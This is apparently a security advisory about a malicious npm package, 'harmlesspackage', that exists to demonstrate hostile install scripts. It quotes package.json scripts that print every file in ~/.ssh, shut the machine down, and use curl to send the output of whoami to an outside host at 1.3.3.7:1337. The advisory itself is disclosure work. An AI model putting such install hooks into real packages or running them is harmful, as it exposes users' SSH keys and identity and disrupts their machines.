Malicious Package Affecting harmlesspackage Open this link in a new tab package, versions *
Exploit Maturity
Mature
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
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snyk-id
npm:harmlesspackage:20170917
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published
17 Sep 2017
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disclosed
8 Aug 2017
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credit
Jordan Wright
Overview
harmlesspackage
is a malicious package that is used to demonstrate or test malicious install scripts. These scripts can send your local ssh file to an attacker, or download malicious files and run them in the background.
This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.
The list of packages and their scripts are:
{
"name": "maybemaliciouspackage",
"scripts": {
"postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
}
},
{
"name": "deasyncp",
"scripts": {
"preinstall": "say U WOT M8; shutdown -s now"
}
},
{
"name": "harmlesspackage",
"scripts": {
"postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH keys :)' && curl -X GET http://1.3.3.7:1337/\\?$(whoami)"
}
},
{
"name": "npm-exploit",
"scripts": {
"install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
}
}
Remediation
Avoid usage of this package altogether.